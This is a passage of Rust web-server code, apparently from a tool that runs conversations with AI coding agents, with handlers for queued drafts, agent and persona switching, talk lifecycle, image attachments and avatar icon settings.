9965            tracing::warn!("talk {id} lost its turn lease; not draining further");
9966            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9967            if let Some(turn) = turn.take() {
9968                turn.release(&mut live);
9969            }
9970            break;
9971        }
9972        // `talk::drain` takes the store lock and can write/rename the talk
9973        // file. Keep the turn mutex out of that synchronous work: it protects
9974        // every talk's in-memory claim, not this talk's disk operation.
9975        let observed = live_set
9976            .lock()
9977            .unwrap_or_else(PoisonError::into_inner)
9978            .queued
9979            .get(&id)
9980            .copied()
9981            .unwrap_or(0);
9982        let drained = blocking({
9983            let talks = talks.clone();
9984            move || {
9985                let result = talk::drain(&mut talk, &talks);
9986                Ok((talk, result))
9987            }
9988        })
9989        .await;
9990        let (next_talk, result) = match drained {
9991            Ok(drained) => drained,
9992            Err(e) => {
9993                tracing::warn!(
9994                    status = %e.status,
9995                    message = %e.message,
9996                    "talk {id} could not start queued-text drain"
9997                );
9998                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9999                turn.take()
10000                    .expect("held for the whole loop until released here")
10001                    .release(&mut live);
10002                break;
10003            }
10004        };
10005        talk = next_talk;
10006        let drained = match result {
10007            Ok(Some(drained)) => drained,
10008            Ok(None) => {
10009                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10010                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10011                    continue;
10012                }
10013                turn.take()
10014                    .expect("held for the whole loop until released here")
10015                    .release(&mut live);
10016                break;
10017            }
10018            Err(e) => {
10019                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10020                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10021                turn.take()
10022                    .expect("held for the whole loop until released here")
10023                    .release(&mut live);
10024                break;
10025            }
10026        };
10027        if let Some(started) = started.take() {
10028            let _ = started.send(true);
10029        }
10030        let responded = match turn.as_ref() {
10031            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10032            None => Err(anyhow::anyhow!("the turn guard was released")),
10033        };
10034        if let Err(e) = responded {
10035            tracing::warn!("talk {id} turn failed: {e:#}");
10036        }
10037    }
10038    drop(turn);
10039    if let Some(started) = started {
10040        let _ = started.send(false);
10041    }
10042}
10043
10044/// Clear a queued draft only if it remains exactly the one the caller saw.
10045async fn talk_pending_clear(
10046    State(ui): State<Arc<Ui>>,
10047    Path(id): Path<String>,
10048    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10049) -> ApiResult<Json<TalkView>> {
10050    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10051    blocking(move || {
10052        let id = resolve_talk(&ui.talks, &id)?;
10053        let mut talk = ui.talks.get(&id)?;
10054        if !talk.status.open() {
10055            return Err(ApiError::conflict(format!(
10056                "talk {} is {} and takes no more turns",
10057                talk.short(),
10058                talk.status.as_str()
10059            )));
10060        }
10061        if !talk::clear_pending_if_matches(
10062            &mut talk,
10063            &ui.talks,
10064            &body.expected_text,
10065            &body.expected_attachments,
10066        )? {
10067            return Err(ApiError::conflict(
10068                "queued message changed; reload it before clearing",
10069            ));
10070        }
10071        let thinking = ui.is_thinking(&talk.id);
10072        Ok(Json(TalkView::new(talk, thinking, &ui)))
10073    })
10074    .await
10075}
10076
10077/// Atomically edit a queued draft's text while preserving its attachments.
10078/// The snapshot fields make a concurrent queue or drain a conflict rather
10079/// than silently discarding either message.
10080async fn talk_pending_edit(
10081    State(ui): State<Arc<Ui>>,
10082    Path(id): Path<String>,
10083    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10084) -> ApiResult<Json<TalkView>> {
10085    let admission = ui.begin_admission()?;
10086    admitted(admission, async move {
10087        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10088        let id = {
10089            let ui = Arc::clone(&ui);
10090            blocking(move || resolve_talk(&ui.talks, &id)).await?
10091        };
10092        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10093            .await
10094            .map_err(ApiError::from)?;
10095        let (view, reclaimed) = blocking({
10096            let ui = Arc::clone(&ui);
10097            move || {
10098                let mut talk = ui.talks.get(&id)?;
10099                if !talk.status.open() {
10100                    return Err(ApiError::conflict(format!(
10101                        "talk {} is {} and takes no more turns",
10102                        talk.short(),
10103                        talk.status.as_str()
10104                    )));
10105                }
10106                if !talk::edit_pending_message(
10107                    &mut talk,
10108                    &ui.talks,
10109                    &body.text,
10110                    &body.expected_text,
10111                    &body.expected_attachments,
10112                    body.message,
10113                )? {
10114                    return Err(ApiError::conflict(
10115                        "queued message changed; reload it before editing",
10116                    ));
10117                }
10118                let claim = match ui.begin_queued_talk_turn(&id)? {
10119                    Some(turn_guard) => {
10120                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10121                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10122                    }
10123                    None => None,
10124                };
10125                let thinking = ui.is_thinking(&id);
10126                Ok((TalkView::new(talk, thinking, &ui), claim))
10127            }
10128        })
10129        .await?;
10130        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10131            let talks = ui.talks.clone();
10132            #[cfg(not(test))]
10133            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10134            #[cfg(test)]
10135            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10136        }
10137        Ok(Json(view))
10138    })
10139    .await
10140}
10141
10142/// The 409 for a talk that takes no more turns.
10143fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10144    if talk.status.open() {
10145        return Ok(());
10146    }
10147    Err(ApiError::conflict(format!(
10148        "talk {} is {} and takes no more turns",
10149        talk.short(),
10150        talk.status.as_str()
10151    )))
10152}
10153
10154/// The body of `POST /api/talks/{id}/agent`.
10155#[derive(Debug, Deserialize)]
10156struct TalkAgent {
10157    agent: String,
10158}
10159
10160/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10161/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10162/// start a turn on the old session between the check and the write; one that
10163/// arrives in that window finds the talk busy and becomes a draft.
10164async fn talk_agent(
10165    State(ui): State<Arc<Ui>>,
10166    Path(id): Path<String>,
10167    Json(body): Json<TalkAgent>,
10168) -> ApiResult<Json<TalkView>> {
10169    let admission = ui.begin_admission()?;
10170    admitted(admission, async move {
10171        let id = {
10172            let ui = Arc::clone(&ui);
10173            blocking(move || resolve_talk(&ui.talks, &id)).await?
10174        };
10175        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10176            .await
10177            .map_err(ApiError::from)?;
10178        let repo = {
10179            let ui = Arc::clone(&ui);
10180            let id = id.clone();
10181            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10182        };
10183        let cfg = config_for(&repo).await?;
10184        // Refuse before taking the claim; see `talk_implementers`.
10185        {
10186            let ui = Arc::clone(&ui);
10187            let id = id.clone();
10188            let cfg = cfg.clone();
10189            let wanted = body.agent.clone();
10190            blocking(move || {
10191                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10192                    .map_err(ApiError::bad_request_from)?;
10193                refuse_if_closed(&ui.talks.get(&id)?)
10194            })
10195            .await?;
10196        }
10197        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10198            return Err(ApiError::conflict(
10199                "a talk turn is running; change the agent once it has answered",
10200            ));
10201        };
10202        let switched = {
10203            let ui = Arc::clone(&ui);
10204            let id = id.clone();
10205            let cfg = cfg.clone();
10206            blocking(move || {
10207                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10208                    .map_err(ApiError::bad_request_from)?;
10209                let mut talk = ui.talks.get(&id)?;
10210                if !talk.status.open() {
10211                    return Err(ApiError::conflict(format!(
10212                        "talk {} is {} and takes no more turns",
10213                        talk.short(),
10214                        talk.status.as_str()
10215                    )));
10216                }
10217                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10218                Ok(talk)
10219            })
10220            .await
10221        };
10222        // A `/say` that landed while this held the claim saw the talk busy and
10223        // left a durable draft, trusting the claim's owner to drain it. So the
10224        // claim is settled whatever the outcome. Release an empty draft's claim
10225        // before replying; queued drafts continue independently of the handler.
10226        let observed = ui.queued_generation(&id);
10227        let fresh = {
10228            let ui = Arc::clone(&ui);
10229            let id = id.clone();
10230            blocking(move || Ok(ui.talks.get(&id)?)).await
10231        };
10232        let draining = match fresh {
10233            Ok(talk) => {
10234                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10235            }
10236            Err(_) => false,
10237        };
10238        let talk = switched?;
10239        Ok(Json(TalkView::new(talk, draining, &ui)))
10240    })
10241    .await
10242}
10243
10244/// The body of `POST /api/talks/{id}/persona`.
10245#[derive(Debug, Deserialize)]
10246struct TalkPersona {
10247    persona: String,
10248}
10249
10250/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10251/// like [`talk_agent`]: the turn guard is held for the change and always handed
10252/// to `drain_loop`, so a draft left meanwhile is not stranded.
10253async fn talk_persona(
10254    State(ui): State<Arc<Ui>>,
10255    Path(id): Path<String>,
10256    Json(body): Json<TalkPersona>,
10257) -> ApiResult<Json<TalkView>> {
10258    let admission = ui.begin_admission()?;
10259    admitted(admission, async move {
10260        let id = {
10261            let ui = Arc::clone(&ui);
10262            blocking(move || resolve_talk(&ui.talks, &id)).await?
10263        };
10264        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10265            .await
10266            .map_err(ApiError::from)?;
10267        let repo = {
10268            let ui = Arc::clone(&ui);
10269            let id = id.clone();
10270            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10271        };
10272        let cfg = config_for(&repo).await?;
10273        // Refuse before taking the claim; see `talk_implementers`.
10274        {
10275            let ui = Arc::clone(&ui);
10276            let id = id.clone();
10277            let cfg = cfg.clone();
10278            let wanted = body.persona.clone();
10279            blocking(move || {
10280                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10281                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10282                }
10283                refuse_if_closed(&ui.talks.get(&id)?)
10284            })
10285            .await?;
10286        }
10287        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10288            return Err(ApiError::conflict(
10289                "a talk turn is running; change the persona once it has answered",
10290            ));
10291        };
10292        let switched = {
10293            let ui = Arc::clone(&ui);
10294            let id = id.clone();
10295            let cfg = cfg.clone();
10296            blocking(move || {
10297                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10298                    return Err(ApiError::bad_request(format!(
10299                        "unknown persona `{}`",
10300                        body.persona
10301                    )));
10302                };
10303                let mut talk = ui.talks.get(&id)?;
10304                if !talk.status.open() {
10305                    return Err(ApiError::conflict(format!(
10306                        "talk {} is {} and takes no more turns",
10307                        talk.short(),
10308                        talk.status.as_str()
10309                    )));
10310                }
10311                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10312                Ok(talk)
10313            })
10314            .await
10315        };
10316        // As in `talk_agent`: settle the claim before replying, even on refusal.
10317        let observed = ui.queued_generation(&id);
10318        let fresh = {
10319            let ui = Arc::clone(&ui);
10320            let id = id.clone();
10321            blocking(move || Ok(ui.talks.get(&id)?)).await
10322        };
10323        let draining = match fresh {
10324            Ok(talk) => {
10325                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10326            }
10327            Err(_) => false,
10328        };
10329        let talk = switched?;
10330        Ok(Json(TalkView::new(talk, draining, &ui)))
10331    })
10332    .await
10333}
10334
10335/// The body of `POST /api/talks/{id}/implementers`.
10336#[derive(Debug, Deserialize)]
10337struct TalkImplementers {
10338    implementers: u8,
10339}
10340
10341/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10342/// like [`talk_agent`]: the turn guard is held for the change and always handed
10343/// to `drain_loop`, so a draft left meanwhile is not stranded.
10344async fn talk_implementers(
10345    State(ui): State<Arc<Ui>>,
10346    Path(id): Path<String>,
10347    Json(body): Json<TalkImplementers>,
10348) -> ApiResult<Json<TalkView>> {
10349    let admission = ui.begin_admission()?;
10350    admitted(admission, async move {
10351        let id = {
10352            let ui = Arc::clone(&ui);
10353            blocking(move || resolve_talk(&ui.talks, &id)).await?
10354        };
10355        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10356            .await
10357            .map_err(ApiError::from)?;
10358        let repo = {
10359            let ui = Arc::clone(&ui);
10360            let id = id.clone();
10361            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10362        };
10363        let cfg = config_for(&repo).await?;
10364        // Refuse a request that cannot succeed before taking the claim: a claim
10365        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10366        // moment, so a refusal would make the next request see "busy" instead of
10367        // its own answer. The checks after the claim stay the ones that decide.
10368        {
10369            let ui = Arc::clone(&ui);
10370            let id = id.clone();
10371            let cfg = cfg.clone();
10372            let wanted = body.implementers;
10373            blocking(move || {
10374                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10375                refuse_if_closed(&ui.talks.get(&id)?)
10376            })
10377            .await?;
10378        }
10379        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10380            return Err(ApiError::conflict(
10381                "a talk turn is running; change the implementers once it has answered",
10382            ));
10383        };
10384        let switched = {
10385            let ui = Arc::clone(&ui);
10386            let id = id.clone();
10387            let cfg = cfg.clone();
10388            blocking(move || {
10389                let chosen = talk::check_implementers(body.implementers, &cfg)
10390                    .map_err(ApiError::bad_request)?;
10391                let mut talk = ui.talks.get(&id)?;
10392                if !talk.status.open() {
10393                    return Err(ApiError::conflict(format!(
10394                        "talk {} is {} and takes no more turns",
10395                        talk.short(),
10396                        talk.status.as_str()
10397                    )));
10398                }
10399                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10400                Ok(talk)
10401            })
10402            .await
10403        };
10404        // As in `talk_agent`: settle the claim before replying, even on refusal.
10405        let observed = ui.queued_generation(&id);
10406        let fresh = {
10407            let ui = Arc::clone(&ui);
10408            let id = id.clone();
10409            blocking(move || Ok(ui.talks.get(&id)?)).await
10410        };
10411        let draining = match fresh {
10412            Ok(talk) => {
10413                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10414            }
10415            Err(_) => false,
10416        };
10417        let talk = switched?;
10418        Ok(Json(TalkView::new(talk, draining, &ui)))
10419    })
10420    .await
10421}
10422
10423/// `POST /api/talks/{id}/close`.
10424async fn talk_close(
10425    State(ui): State<Arc<Ui>>,
10426    Path(id): Path<String>,
10427) -> ApiResult<Json<TalkView>> {
10428    blocking(move || {
10429        let id = resolve_talk(&ui.talks, &id)?;
10430        let mut talk = ui.talks.get(&id)?;
10431        talk::close(&mut talk, &ui.talks)?;
10432        let thinking = ui.is_thinking(&talk.id);
10433        Ok(Json(TalkView::new(talk, thinking, &ui)))
10434    })
10435    .await
10436}
10437
10438/// `POST /api/talks/{id}/reopen`.
10439async fn talk_reopen(
10440    State(ui): State<Arc<Ui>>,
10441    Path(id): Path<String>,
10442) -> ApiResult<Json<TalkView>> {
10443    blocking(move || {
10444        let id = resolve_talk(&ui.talks, &id)?;
10445        let mut talk = ui.talks.get(&id)?;
10446        talk::reopen(&mut talk, &ui.talks)?;
10447        let thinking = ui.is_thinking(&talk.id);
10448        Ok(Json(TalkView::new(talk, thinking, &ui)))
10449    })
10450    .await
10451}
10452
10453/// `DELETE /api/talks/{id}`.
10454///
10455/// Removes the conversation's record and artifacts outright, unlike
10456/// [`talk_close`] which keeps the record as history. A turn already in
10457/// flight is not refused here the way [`run_delete`] refuses a live run:
10458/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10459/// under [`Talks::guard`], that the record they are about to write back is
10460/// still there, so a delete racing a turn is safe without this route having
10461/// to know a turn is running at all.
10462async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10463    blocking(move || {
10464        let id = resolve_talk(&ui.talks, &id)?;
10465        ui.talks.remove(&id)?;
10466        Ok(StatusCode::NO_CONTENT)
10467    })
10468    .await
10469}
10470
10471fn talk_ids(root: &FsPath) -> Vec<String> {
10472    std::fs::read_dir(root)
10473        .into_iter()
10474        .flatten()
10475        .flatten()
10476        .filter_map(|e| {
10477            let path = e.path();
10478            if path.extension().is_some_and(|ext| ext == "json") {
10479                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10480            } else {
10481                None
10482            }
10483        })
10484        .collect()
10485}
10486
10487/// Expand an id or short id to exactly one talk id.
10488fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10489    if plain_record_id(id) && store.path_of(id).is_file() {
10490        return Ok(id.to_owned());
10491    }
10492    pick(talk_ids(store.root()), id, "talk")
10493}
10494
10495/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10496/// future `talk-say`.
10497async fn talk_attachment_post(
10498    State(ui): State<Arc<Ui>>,
10499    Path(id): Path<String>,
10500    headers: HeaderMap,
10501    body: Bytes,
10502) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10503    let mime = validate_attachment(&headers, &body)?;
10504    let name = filename_header(&headers);
10505    let data = body.to_vec();
10506    blocking(move || {
10507        let id = resolve_talk(&ui.talks, &id)?;
10508        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10509        Ok((StatusCode::CREATED, Json(att)))
10510    })
10511    .await
10512}
10513
10514/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10515/// `<img>` tag in the transcript.
10516async fn talk_attachment_get(
10517    State(ui): State<Arc<Ui>>,
10518    Path((id, att)): Path<(String, String)>,
10519) -> ApiResult<Response> {
10520    blocking(move || {
10521        let id = resolve_talk(&ui.talks, &id)?;
10522        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10523            return Err(ApiError::not_found(format!(
10524                "talk {id} has no attachment `{att}`"
10525            )));
10526        };
10527        Ok(attachment_response(&meta.mime, data))
10528    })
10529    .await
10530}
10531
10532/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10533/// the icon setting, so changing it changes the URL.
10534fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10535    let id = avatar_encode(&p.id);
10536    format!(
10537        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10538        persona_icon::fingerprint(
10539            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10540        )
10541    )
10542}
10543
10544#[derive(Debug, Default, Deserialize)]
10545struct AvatarQuery {
10546    persona: Option<String>,
10547    /// Set by the page after the first load failed: skip the `icon`.
10548    builtin: Option<String>,
10549}
10550
10551/// Served with every built-in avatar: it is an image, so nothing else may run.
10552const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10553
10554fn builtin_avatar(id: &str) -> Response {
10555    svg_avatar(persona_icon::builtin_svg(id))
10556}
10557
10558async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10559    raster_or_builtin(
10560        read_icon_file(&avatar_setting_path(&ui.home, None))
10561            .filter(|_| q.builtin.is_none())
10562            .as_deref(),
10563        persona_icon::operator_svg(),
10564    )
10565}
10566
10567fn svg_avatar(svg: &'static str) -> Response {
10568    (
10569        [
10570            (header::CONTENT_TYPE, "image/svg+xml"),
10571            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10572            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10573            (header::CACHE_CONTROL, "no-cache"),
10574        ],
10575        svg,
10576    )
10577        .into_response()
10578}
10579
10580fn avatar_encode(value: &str) -> String {
10581    value
10582        .bytes()
10583        .map(|b| {
10584            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10585                char::from(b).to_string()
10586            } else {
10587                format!("%{b:02X}")
10588            }
10589        })
10590        .collect()
10591}
10592
10593// Display-only overrides live outside configuration and conversation records.
10594fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10595    let Some(id) = persona else {
10596        return home.join("avatars/operator.data");
10597    };
10598    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10599    let mut path = home.join("avatars/personas");
10600    for chunk in encoded.as_bytes().chunks(100) {
10601        path.push(std::str::from_utf8(chunk).expect("hex"));
10602    }
10603    path.join("icon.data")
10604}
10605
10606fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10607    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10608        Some(value) if value == "builtin" => Some(String::new()),
10609        Some(value) => Some(value),
10610        None => configured.map(str::to_owned),
10611    }
10612}
10613
10614fn operator_icon_url(home: &FsPath) -> String {
10615    format!(
10616        "/avatars/operator.svg?v={}",
10617        persona_icon::fingerprint(
10618            read_icon_file(&avatar_setting_path(home, None))
10619                .as_deref()
10620                .or(Some(persona_icon::operator_svg()))
10621        )
10622    )
10623}
10624
10625fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10626    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10627        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10628            attachment_response(mime, bytes)
10629        }
10630        _ => svg_avatar(builtin),
10631    };
10632    response
10633        .headers_mut()
10634        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10635    response
10636}
10637
10638#[derive(Default, Deserialize)]
10639struct AvatarSettingsQuery {
10640    repo: Option<PathBuf>,
10641    persona: Option<String>,
10642    builtin: Option<String>,
10643    inherit: Option<String>,
10644}
10645
10646fn avatar_settings_specs(
10647    ui: &Ui,
10648    repo: Option<PathBuf>,
10649) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10650    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10651    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10652        .map(|cfg| cfg.talk.personas)
10653        .unwrap_or_default();
10654    Ok((repo, specs))
10655}
10656
10657fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10658    let Ok(entries) = std::fs::read_dir(path) else {
10659        return;
10660    };
10661    for entry in entries.flatten() {
10662        let name = entry.file_name().to_string_lossy().into_owned();
10663        if name == "icon.data" {
10664            let bytes: Option<Vec<u8>> = prefix
10665                .as_bytes()
10666                .chunks(2)
10667                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10668                .collect();
10669            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10670                out.push(id);
10671            }
10672        } else if name.len() <= 100
10673            && !name.is_empty()
10674            && name.bytes().all(|b| b.is_ascii_hexdigit())
10675            && entry.file_type().is_ok_and(|t| t.is_dir())
10676        {
10677            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10678        }
10679    }
10680}
10681
10682async fn avatar_settings_get(
10683    State(ui): State<Arc<Ui>>,
10684    Query(q): Query<AvatarSettingsQuery>,
10685) -> ApiResult<Json<serde_json::Value>> {
10686    blocking(move || {
10687        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10688        let mut catalog = persona::catalog(&specs);
10689        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10690        let mut saved = Vec::new();
10691        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10692        for id in saved {
10693            if !catalog.iter().any(|p| p.id == id) {
10694                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10695            }
10696        }
10697        let personas: Vec<_> = catalog.iter().map(|p| {
10698            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10699            let override_state = match saved.as_deref() {
10700                Some("builtin") => "builtin",
10701                Some(_) => "custom",
10702                None => "inherit",
10703            };
10704            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10705            serde_json::json!({"id":p.id,"name":p.name,
10706                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10707                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10708                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10709        }).collect();
10710        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10711    }).await
10712}
10713
10714async fn settings_persona_avatar(
10715    State(ui): State<Arc<Ui>>,
10716    Query(q): Query<AvatarSettingsQuery>,
10717) -> ApiResult<Response> {
10718    blocking(move || {
10719        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10720        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10721        let found = persona::find(&specs, id);
10722        let icon =
10723            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10724        Ok(raster_or_builtin(
10725            icon.as_deref().filter(|_| q.builtin.is_none()),
10726            persona_icon::builtin_svg(id),
10727        ))
10728    })
10729    .await
10730}
10731
10732fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10733    if q.persona
10734        .as_ref()
10735        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10736    {
10737        return Err(ApiError::bad_request("invalid persona id"));
10738    }
10739    Ok(())
10740}
10741
10742async fn avatar_settings_put(
10743    State(ui): State<Arc<Ui>>,
10744    Query(q): Query<AvatarSettingsQuery>,
10745    Json(upload): Json<MagiIconUpload>,
10746) -> ApiResult<Json<serde_json::Value>> {
10747    blocking(move || {
10748        validate_avatar_target(&q)?;
10749        save_icon_file(
10750            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10751            &upload.icon,
10752        )
10753        .map_err(ApiError::bad_request_from)?;
10754        Ok(Json(serde_json::json!({"saved":true})))
10755    })
10756    .await
10757}
10758
10759async fn avatar_settings_delete(
10760    State(ui): State<Arc<Ui>>,
10761    Query(q): Query<AvatarSettingsQuery>,
10762) -> ApiResult<Json<serde_json::Value>> {
10763    blocking(move || {
10764        validate_avatar_target(&q)?;
10765        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10766        if q.persona.is_some() && q.inherit.is_none() {
10767            atomic_icon_write(&path, "builtin")?;
10768        } else {
10769            match std::fs::remove_file(path) {
10770                Ok(()) => (),
10771                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10772                Err(e) => return Err(anyhow::Error::from(e).into()),
10773            }
10774        }
10775        Ok(Json(serde_json::json!({"saved":true})))
10776    })
10777    .await
10778}
10779
10780// The global MAGI icon is deliberately independent of repository configuration.
10781fn magi_icon_path(home: &FsPath) -> PathBuf {
10782    home.join("magi-icon.data")
10783}
10784
10785fn read_magi_icon(home: &FsPath) -> Option<String> {
10786    read_icon_file(&magi_icon_path(home))
10787}
10788
10789fn read_icon_file(path: &FsPath) -> Option<String> {
10790    let metadata = std::fs::metadata(path).ok()?;
10791    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10792        return None;
10793    }
10794    let file = std::fs::File::open(path).ok()?;
10795    use std::io::Read;
10796    let mut text = String::new();
10797    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10798        .read_to_string(&mut text)
10799        .ok()?;
10800    if text.len() > persona_icon::ICON_MAX_BYTES {
10801        return None;
10802    }
10803    if text == "builtin" {
10804        return Some(text);
10805    }
10806    validate_uploaded_icon(&text).ok()?;
10807    Some(text)
10808}
10809
10810fn magi_icon_url(home: &FsPath) -> String {
10811    format!(
10812        "/avatars/magi?v={}",
10813        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10814    )
10815}
10816
10817async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10818    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10819}
10820
10821#[derive(Deserialize)]
10822struct MagiIconUpload {
10823    icon: String,
10824}
10825
10826fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10827    save_icon_file(&magi_icon_path(home), icon)
10828}
10829
10830fn validate_uploaded_icon(icon: &str) -> Result<()> {
10831    if !icon.starts_with("data:") {
10832        anyhow::bail!("upload a raster image");
10833    }
10834    let (mime, bytes) = persona_icon::load(icon)?;
10835    if sniffed_mime(&bytes) != Some(mime) {
10836        anyhow::bail!("image content does not match its type");
10837    }
10838    Ok(())
10839}
10840
10841fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10842    validate_uploaded_icon(icon)?;
10843    atomic_icon_write(path, icon)
10844}
10845
10846fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10847    let home = path.parent().expect("icon parent");
10848    std::fs::create_dir_all(home)?;
10849    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10850    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10851    let result = (|| -> Result<()> {
10852        use std::io::Write;
10853        let mut file = std::fs::OpenOptions::new()
10854            .write(true)
10855            .create_new(true)
10856            .open(&temp)?;
10857        file.write_all(icon.as_bytes())?;
10858        file.sync_all()?;
10859        std::fs::rename(&temp, path)?;
10860        Ok(())
10861    })();
10862    let _ = std::fs::remove_file(temp);
10863    result?;
10864    Ok(())
10865}
10866
10867async fn magi_icon_put(
10868    State(ui): State<Arc<Ui>>,
10869    Json(upload): Json<MagiIconUpload>,
10870) -> ApiResult<Json<serde_json::Value>> {
10871    blocking(move || {
10872        if !upload.icon.starts_with("data:") {
10873            return Err(ApiError::bad_request("upload a raster image"));
10874        }
10875        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10876        if sniffed_mime(&bytes) != Some(mime) {
10877            return Err(ApiError::bad_request(
10878                "image content does not match its type",
10879            ));
10880        }
10881        save_magi_icon(&ui.home, &upload.icon)?;
10882        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10883    })
10884    .await
10885}
10886
10887async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
